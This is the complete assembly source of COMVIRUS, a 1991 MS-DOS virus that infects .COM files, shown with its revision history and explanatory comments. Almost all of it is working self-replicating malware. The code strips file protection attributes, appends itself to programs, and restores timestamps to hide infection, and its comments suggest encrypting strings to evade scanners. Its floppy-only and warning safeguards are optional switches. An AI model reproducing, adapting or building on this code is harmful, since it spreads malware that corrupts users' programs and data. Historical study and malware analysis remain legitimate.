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Assembly Source File | 1998-01-14 | 19.4 KB | 459 lines

title COMVIRUS subttl By Drew Eckhardt subttl Latest revision: 4-28-1991 ;The author of this virus intends it to be used for educational ;purposes only, and assumes no responsibilities for its release, ;dammages resulting from its use, including but not limited to ;equipment dammage or data loss. ;By assembling or examining this program, The user agrees to accept all ;responsibility for this programs use, or any portions of the code ;or concepts contained within. The user also agrees to not publicly release ;this virus, and to exercise necessary precautions to prevent its escape. ;The user accepts all responsibility arising from his actions. ;Don't come crying to me if your hard disk gets infected, ;as THERE IS NO ANTIDOTE. HAHAHAH. ;Revision history: ;4-13: initial bug-free release, size=424 bytes with carrier ;4-15: added no date change support, size=438 bytes with carrier ;4-16: minor documentation changes, size=438 bytes with carrier, ; NO CODE CHANGE from 4-15 revision ;4-21: fixed missing hex h suffixs, made MASM friendly, ; fixed incorrect assume statement (assume statements are ignored ; by A86) enabled hard/floppy infection based on floppy_only status ; size=438 bytes IF floppy_only, 424 bytes if not, with carrier. ; minimum virus length = 419 bytes ;4-23: added control over how many programs are infected per run, ; switched method of infection, from copying to DTA then writing ; to disk to straight write to disk from memory. ; size=412 bytes IF floppy_only, 398 bytes if not, with carrier. ; minimum virus length = 393 bytes ;4-28: used set DTA instead of default DTA/copy command line ; buffer, which had been used based on incorrect assumption ; eliminated calls to get time/date, get attribs ; by using information from find first/find next functions 4eh/4fh ; made warning optional for reduced space if desired. Also ; changed mov reg16, bp add reg16, constant to shorter LEA instruction. ; size=354 bytes IF floppy_only, warning on W/carrier ; 340 bytes IF w/warning & carrier program ; 286 bytes w/o warning, in program ; minimum virus length = 281 bytes for virus itself ;4-28pm: instead of near CALL-pop sequences everywhere, switched to ; a single CALL near ptr Reference_Point, putting the result into ; si now that (until the end) string mode addressing is not used. ; Changed places where a register (used as an index) ; was being loaded THEN added to a single LEA isntruction ; size = 340 bytes if floppy_only, warning on w/carrier ; size = 326 bytes if w/warning & carrier ; size = 272 w/o warning ; minimum virus length = 267 bytes for the virus itself ;4-28pm2: Eliminated unecessary flush buffers call. ; size = 336 bytes if floppy_only w/carrier ; size = 322 bytes w/warning & carrier ; size = 268 w/o warning ; minimum virus length = 263 bytes for virus itself ;4-30: restored 5 bytes of original code at CS:0100 ; before infecting other programs, allowing the ; original code field to be modified so one disk write could be ; used instead of two ; minor documentation revisions - corrected incorrect ; opcodes in documentation ; size = 326 bytes if floppy_only w/carrier ; size = 312 bytes w/warning & carrier program ; size = 258 bytes w/carrier program ; Minimum virus length = 253 bytes for the virus itself ;NOTE: The program is currently "set up" for A86 assembly with all ;conditional assembly symbols. #IF and #ENDIF should be replaced with ;MASM IFDEF and ENDIF directives for propper operation. ;Also, instead of using EQUates to define control symbols, the /D ;option or DEFINE could be used..... ;COMVIRUS.ASM must be assembled into a .COM file inorder to function ;properly. For convieniece, I recommend an assembler like A86 that will ;assemble to a .COM file without having to go through LINK and EXE2BIN ;As is, it will infect .COM files located on the current disk. ;ONLY if it is a floppy disk, ONLY in the root directory. ;This is a .COM infector virus, which, does nothing other than print a ;warning message, and spread to all files on the default disk IFF it is ;a floppy disk, in the root directory. ;Theory: ;This is a non - overwriting virus. I took special precautions to preserve ;all functionality of the original program, including command line, parsed FCB, ;and segment register preservation. This makes the virus harder to detect. ;The .COM file is a memory image - with no relocation table. Thus, it ;is an easy target for a virus such as this. ;Infected file format ;jmp near ptr xxxx ;cli cli ;ID bytes ;ORIGINAL program code, sans 5 bytes ;5 bytes ORIGINAL program code ;VIRUS ;This format makes infection VERY simple. We merely check for our signature ;(in this case cli cli (fa fa) - instructions that no programmer in his ;right mind would use - loading the original five bytes in the process. ;These original bytes are written to the end of the program, then ;A jump to where the virus is. ;While infection is easy, this method presents some coding problems, as the ;virus does not know where in memory it is. Therefor, When we want to access ;data, we FIND OUT where we are, by performing a near call which PUSHES ip to the ;stack which is then popped. Addresses are then calculated relative to this ;via LEA ;To run the program as normal, command line is restored, registers restored, ;And original code copied onto the first five bytes of the program. ;Program control symbols defined here floppy_only equ 1 infect_per_run equ 1 ;number of programs infected per run warn_user equ 1 _TEXT segment byte 'CODE' assume cs:_TEXT,ds:_TEXT,es:_TEXT,ss:_TEXT org 100h Start: jmp infect; ;This is our signature cli cli ;Original code is the data field where we store the original program code ;which will replace our signature and jmp to infect Original_Code: int 20h ;five bytes that simply terminate nop ;the program nop nop ;Data for the virus. In a destructive virus, you would want to encrypt ;any strings using a simple one's complement (not) operation so as to ;thwart detection via text search utilities. Since we want detection to ;be easy, this un-encrypted form is fine. Start_Virus: #IF warn_user Warning db "This file infected with COMVIRUS 1.0",10,13,'$' #ENDIF ;VirusMask is simply an ASCIIZ terminated string of the files we wish to ;infect. VirusMask db '*.COM', 0 Infect: push ax ;on entry to a .COM program, STACK: ;MS-DOS puts drive identifiers ax (drive id for FCB's) <-- sp ;for the two FCB's in here. Save ;'em ;I use special trickery to find location of data. Since ;NEAR calls/jmps are RELATIVE, call near ptr find_warn is ;translated to e8 0000 - which will simply place the location ;of Reference onto the stack. Our data can be found relative to ;this point. call near ptr Reference ;All data is reference realative to ;Reference Reference: pop bx ;which is placed into bx for LEA ;instructions ;bx now contains the REAL address of ;Reference ;si points to real address of original ;code field lea si, [bx-(offset Reference - offset Original_Code)] mov di, 0100h ;original code is at 100h mov cx, 5 ;5 bytes cld ;from start of buffer rep movsb ;do it mov si, bx ;since BX is used in handle ;based DOS calls, for the remainder ;of the virus, si will contain the ;actual address of reference #IF warn_user ;Always calculate the address of data relative to known Reference ;Point lea dx, [si-(offset Reference - offset Warning)] mov ah,9h ;DO dos call, DS:DX pointing int 21h ;to $ terminated string ;We want to make sure that the user gets the message WaitForKey: mov ah, 0bh ;we will wait for a keypress int 21h ;signifying the user has or al, al ;seen the message. jz WaitForKey #ENDIF #IF FLOPPY_ONLY ;Since this is a simple demonstration virus, we will only infect ;.COM files on the default drive IFF it is a floppy disk.... ;So, we will get information about the disk drive. push ds ;ds:bx returns a byte to ;media descriptor mov ah, 1bh ;get disk information STACK int 21h ;DOIT ax (drive ID's) cmp byte ptr ds:[bx], 0f8h ;see if its a hard disk ds <--sp pop ds ;restore ds STACK jne Floppy ;if it was hard.... ax <--sp jmp near ptr done ;we're nice guys and are done Floppy: ;Since it was floppy, we can go on with the infection! #ENDIF ;The default DTA, as is will give us problems. The designers of ;MickeySoft DOS decided to put default DTA at ofset 128 in ;the PSP. PROBLEM: This is also where the user's precious command ;line is, and we MUST remain undectected. SO.... we allocate a ;DTA buffer on the stack. 43 bytes are needed, 44 will do. sub sp, 44 ;allocate space for findfirst/findnext DTA mov bp, sp ;set up bp as a reference to this area ;Set the DTA mov dx, bp ;point DS:DX to our area mov ah, 1ah ;set DTA int 21h ;Set up pointers to data in DTA dta equ word ptr [bp] file_name equ word ptr [bp+1eh] attributes equ byte ptr [bp+15h] time_stamp equ word ptr [bp+16h] date_stamp equ word ptr [bp+18h] file_size equ dword ptr [bp+1ah] ;We dynamically allocate a variable to store the number of programs STACK ;The virus has infected. FCB drives ; bp--> 44 byte DTA infected_count equ byte ptr[bp-2]; Infected_Count xor ax, ax ;zero variable, sp--> buffer (6 bytes) push ax ;allocate it on the stack sub sp, 6 ;allocate small buffer ;Now, we begin looking for files to infect. lea dx, [si - (offset Reference - offset VirusMask)] ;DS:DX points to the search string STACK mov ah, 4eh ;find first matching directory entry FCB drives (word) mov cx, 111b ;only default directory, FILES ;hidden, system and normal int 21h ;doit bp--> 44 byte DTA buffer ; infected count (word) jnc Research ;carry is clear when a file was sp--> 6 byte buffer jmp nofile ;found. ReSearch: ;All handle based DOS calls take a pointer to an ASCIIZ file name in ds:dx lea dx, file_name ;Since this is a virus, we want to infect files that can't be touched by ;DOS commands, this means readonly, system, and hidden files are at our ;mercy. To do this, we rely on the findfrst/next attributes and other data ;to restore the attribute byte to the original settings. get/SET can fix ;them to be suitable mov cl, attributes and cl, 11100000b ;not readonly, system, or hidden STACK ; FCB drives mov ax, 4301h ;set attributes bp--> buffer (44 bytes) int 21h ; buffer (6 bytes) ; sp--> infected_count jnc NoError ;check for error jmp Restore_Flags NoError: mov ax, 3d02h ;now, open file using handle, ;read/write access int 21h ; jnc NoError2 ;IF there was an error, we are done jmp Restore_Flags ;But we don't need to commit or close NoError2: mov bx, ax ;The handle was returned in ACC. ;Howwever, all handle based DOS ;calls expect it in BX ;We don't want to infect the program more than once, so we will ;check to see if it is infected. mov ax, 4200h ;seek relative to start of file ; bx contains handle from open operation xor cx,cx ;cx:dx is file pointer xor dx, dx ; int 21h ;DOIT ;Now, we will read in enough data to see if we have our virus signature. mov ah, 3fh ;read data lea dx, [si-(offset reference-offset original_code)] ;into original_code buffer mov cx, 5 ;5h bytes ; bx contains handle from last operation int 21h cmp word ptr [si-(offset reference-offset original_code)+3], 0fafah jne GoApe ;if we aren't already infected, jmp Error ;go for it GoApe: ;Since it is safe to infect, we will mov ax, 4202h ;seek end of file xor cx, cx xor dx, dx int 21h or dx, dx ;check for valid .COM format jz Less_Than_64K jmp Error Less_Than_64K: ;Now, we must calculate WHERE the jump will be to. Let's examine the program ;Structure: ;jmp near ptr xxxx ;Cli Cli }These add up to the original length ;Orignal code sans 5 bytes ;Original_Code (5 bytes) }The length of all virus data ;Other virus data is equal to the difference in ;Infect the addresses of Infect and Original_Code ;End_Virus ;Thus, the jump must jump TO (offset Infect- offset Original_Code + Original_Length + origin) ;However, in the 80x86, NEAR jumps are calculated as an offset from the position ;of the next statement to execute (because of fetch/execute cycle operation). ;Since jmp near ptr xxxx takes 3 bytes, the next instruction is THREE bytes from ;The 0E9h jmp near instruction, so xxxx will be (offset Infect-Offset Original_Code ;+Original_Length-3); ;Since AX already contains the original length, we will merely add ;Space for the virus data, and take care of the three bytes ;of code generated by the jmp near instruction. add ax, (offset Infect - Offset Original_Code -3) ;calculate jump address mov byte ptr [bp-8], 0e9h ;jmp near instruction mov word ptr [bp-7], ax ;offset for near jmp mov word ptr [bp-5], 0fafah ;cli cli mov ax, 4200h ;seek begining of file xor cx, cx mov dx, cx int 21h mov ah, 40h ;write patched code mov cx, 5 ;5 bytes of code lea dx, [bp-8] ;our buffer int 21h mov ax, 4202h ;seek EOF xor cx, cx xor dx, dx int 21h lea dx, [si - (offset Reference - offset Original_Code)]; set start mov cx, (offset End_Virus - offset Original_Code) ;set length mov ah, 40h ;append virus to file int 21h ;doit inc infected_Count ;bump up the number of programs infected Error: mov dx,date_stamp ;restore date mov cx,time_stamp ;restore time mov ax, 5701h ;set them int 21h mov ah, 3eh ;close file int 21h Restore_Flags: xor ch, ch ;zero hi byte flags mov cl,attributes ;restore flags lea dx, file_name ;ds:dx points to ASCIIZ string ;in the buffer, offset 1eh contains ;the file name mov ax, 4301h ;get/SET flags int 21h ;Doit DoAgain:;See if we're done infecting cmp infected_count, infect_per_run jae NoFile ;if we're done, same as no new file mov ah, 4fh ;find next int 21h jc NoFile ;if carry is clear, DOIT again! jmp ReSearch ;Since we have no more files, we will restore things to normal. NoFile: mov dx, 80h ;reset default dta at DS:80h mov ah, 1ah ;set DTA int 21h add sp, 52 ;deallocate buffers and infected_count ;Put original code of program BEFORE it was infected back in place! Done: pop ax ;restore ax ;FUNKY code! In the 80x86, all NEAR or SHORT jmp opcodes take ;a RELATIVE address...... BUT a retn opcode pops a near absolute ;address of the stack - saves us the trouble of some calculating ;relative to here, and the trouble of a self-modifying ;far absolute jmp! (5 bytes) mov bx, 0100h push bx ret ;easiest jump to cs:100 End_Virus: _TEXT ends end start